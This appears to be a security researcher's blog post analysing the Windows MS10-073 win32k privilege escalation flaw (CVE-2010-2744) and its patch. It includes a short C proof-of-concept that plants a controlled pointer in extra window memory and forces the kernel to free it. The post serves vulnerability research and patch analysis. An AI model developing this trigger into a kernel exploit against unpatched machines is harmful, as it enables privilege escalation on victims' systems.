MS10-073: Windows Class Handling Gone Wrong

In MS10-073, Microsoft addressed a privilege escalation vulnerability (CVE-2010-2744) in windows class data handling, affecting all supported versions of Windows. In this blog post, we will examine the details of the vulnerability as well as the changes made by the patch. Note that this vulnerability differs from the EoP used by Stuxnet on XP/2000, also addressed in MS10-073.

Windows User Objects

Windows manages all user interface entities such as windows, menus, and cursors as objects. In fact, win32k has its own dedicated handle table for keeping track of all active user objects in a given session. One of the most important objects is undeniably the window object. On Windows 7, win32k.sys conveniently exports symbol information for the window object structure (win32k!tagWND), shown below.

typedef struct tagWND
{
/*0x000*/     struct _THRDESKHEAD head;
/*0x014*/     ULONG32      state;
/*0x018*/     ULONG32      state2;
/*0x01C*/     ULONG32      ExStyle;
/*0x020*/     ULONG32      style;
/*0x024*/     VOID*        hModule;
/*0x028*/     UINT16       hMod16;
/*0x02A*/     UINT16       fnid;
/*0x02C*/     struct _tagWND* spwndNext;
/*0x030*/     struct _tagWND* spwndPrev;
/*0x034*/     struct _tagWND* spwndParent;
/*0x038*/     struct _tagWND* spwndChild;
/*0x03C*/     struct _tagWND* spwndOwner;
/*0x040*/     struct _tagRECT rcWindow;
/*0x050*/     struct _tagRECT rcClient;
/*0x060*/     PVOID lpfnWndProc;
/*0x064*/     struct _tagCLS* pcls;
/*0x068*/     struct _HRGN__* hrgnUpdate;
/*0x06C*/     struct _tagPROPLIST* ppropList;
/*0x070*/     struct _tagSBINFO* pSBInfo;
/*0x074*/     struct _tagMENU* spmenuSys;
/*0x078*/     struct _tagMENU* spmenu;
/*0x07C*/     struct _HRGN__* hrgnClip;
/*0x080*/     struct _HRGN__* hrgnNewFrame;
/*0x084*/     struct _LARGE_UNICODE_STRING strName;
/*0x090*/     INT32        cbwndExtra;
/*0x094*/     struct _tagWND* spwndLastActive;
/*0x098*/     struct _HIMC__* hImc;
/*0x09C*/     ULONG32      dwUserData;
/*0x0A0*/     struct _ACTIVATION_CONTEXT* pActCtx;
/*0x0A4*/     struct _D3DMATRIX* pTransform;
/*0x0A8*/     struct _tagWND* spwndClipboardListenerNext;
/*0x0AC*/     ULONG32      ExStyle2;
} WND, *PWND;

In our case, there are a few fields we want to pay closer attention to. The FNID, stored at offset 0x2A, is a constant defining the function identifier of the associated class. The FNID can be used to call any system class window procedure via NtUserMessageCall, and is also frequently used by Windows to determine if a system class window has been properly initialized (set to non-null). Also of interest is the class object pointer (pcls), stored at offset 0×64. The class defines common window attributes as well as the number of extra bytes reserved for each window (mirrored in cbwndExtra at offset 0×90). This data immediately follows a window object in memory and can be application defined or used by a system class window for class-specific data.

In order to update the extra data associated with each window, an application may call SetWindowLongPtr with nIndex set to a zero-based offset. As system class windows also store kernel pointers in the extra window memory, validation has to be performed before an operation is permitted. In particular, xxxSetWindowLong (called by NtUserSetWindowLong, for instance) checks the window FNID in order to prevent malicious attempts at updating data used by the kernel. The problem with this approach is that the FNID starts out as null, hence may allow an attacker to to pre-initialize extra data (e.g. via SetWindowsHookEx) before a system class window has been properly initialized. Although this normally shouldn’t be a problem, two system class procedures were found to incorrectly handle already initialized extra window data, leading to exploitable conditions.

Window Class Handling Vulnerabilities

The menu window system class procedure (xxxMenuWindowProc) is responsible for handling messages sent to menu windows. Upon receiving a WM_NCCREATE message, the menu window attempts to allocate and initialize a popup menu structure (win32k!tagPOPUPMENU), for which it stores a pointer in the extra window memory. However, if this pointer has already been initialized before the WM_NCCREATE message has been sent, the menu window procedure would use the existing pointer instead. As this pointer could have been set manually via SetWindowLongPtr (before the FNID is assigned), an attacker could fully control the popup menu structure, used in subsequent read and write operations. Moreover, destroying the window would result in the attacker controlled pointer being freed. The latter is demonstrated in the following test case.

#include <windows.h>

int main(int argc, char **argv)
{
	WNDCLASSA Class = {0};
	CREATESTRUCTA Cs = {0};
	FARPROC MenuWindowProcA;
	HMODULE hModule;
	HWND hWindow;

	Class.lpfnWndProc = DefWindowProc;
	Class.lpszClassName = "Class";
	Class.cbWndExtra = sizeof(PVOID);

	RegisterClassA(&Class);

	hModule = LoadLibraryA("USER32.DLL");

	MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");

	hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);

	// set the pointer value of the (soon to be) popup menu structure
	SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);

	// set WND->fnid = FNID_MENU
	MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);

	// trigger -> ExPoolFree(0x80808080)
	DestroyWindow(hWindow);

	return 0;
}

The task switch window procedure (xxxSwitchWndProc) was found vulnerable to a similar error. In processing the WM_CREATE message, the procedure failed to validate the switch window information pointer that possibly could have been pre-initialized. Consequently, any further operations involving the use of this pointer could lead to an arbitrary read or write. This flaw only appeared to have exploitable impact on XP/2003, as Vista and later verifies the pointers (in win32k!RemoveSwitchWindowInfo) by traversing a linked list of all active SwitchWindowInfo structures (win32k!gpswiFirst).

The Patch

In order to address the vulnerabilities, changes were made to the SetWindowLong APIs as well as the system class procedures. Notably, several functions now perform additional validation on the associated window class (and not just the FNID) before attempting to update extra window data. Additionally, both xxxMenuWindowProc and xxxSwitchWndProc now ensure that the extra data is null before handling the window object (and updating the FNID). This is needed as the system class pointer in a window object is never actually updated upon “converting” to a system class in the test case above. Thus, the changes made to xxxSetWindowLong would not alone be sufficient to prevent pre-initialization of window system class data.

Comments are closed.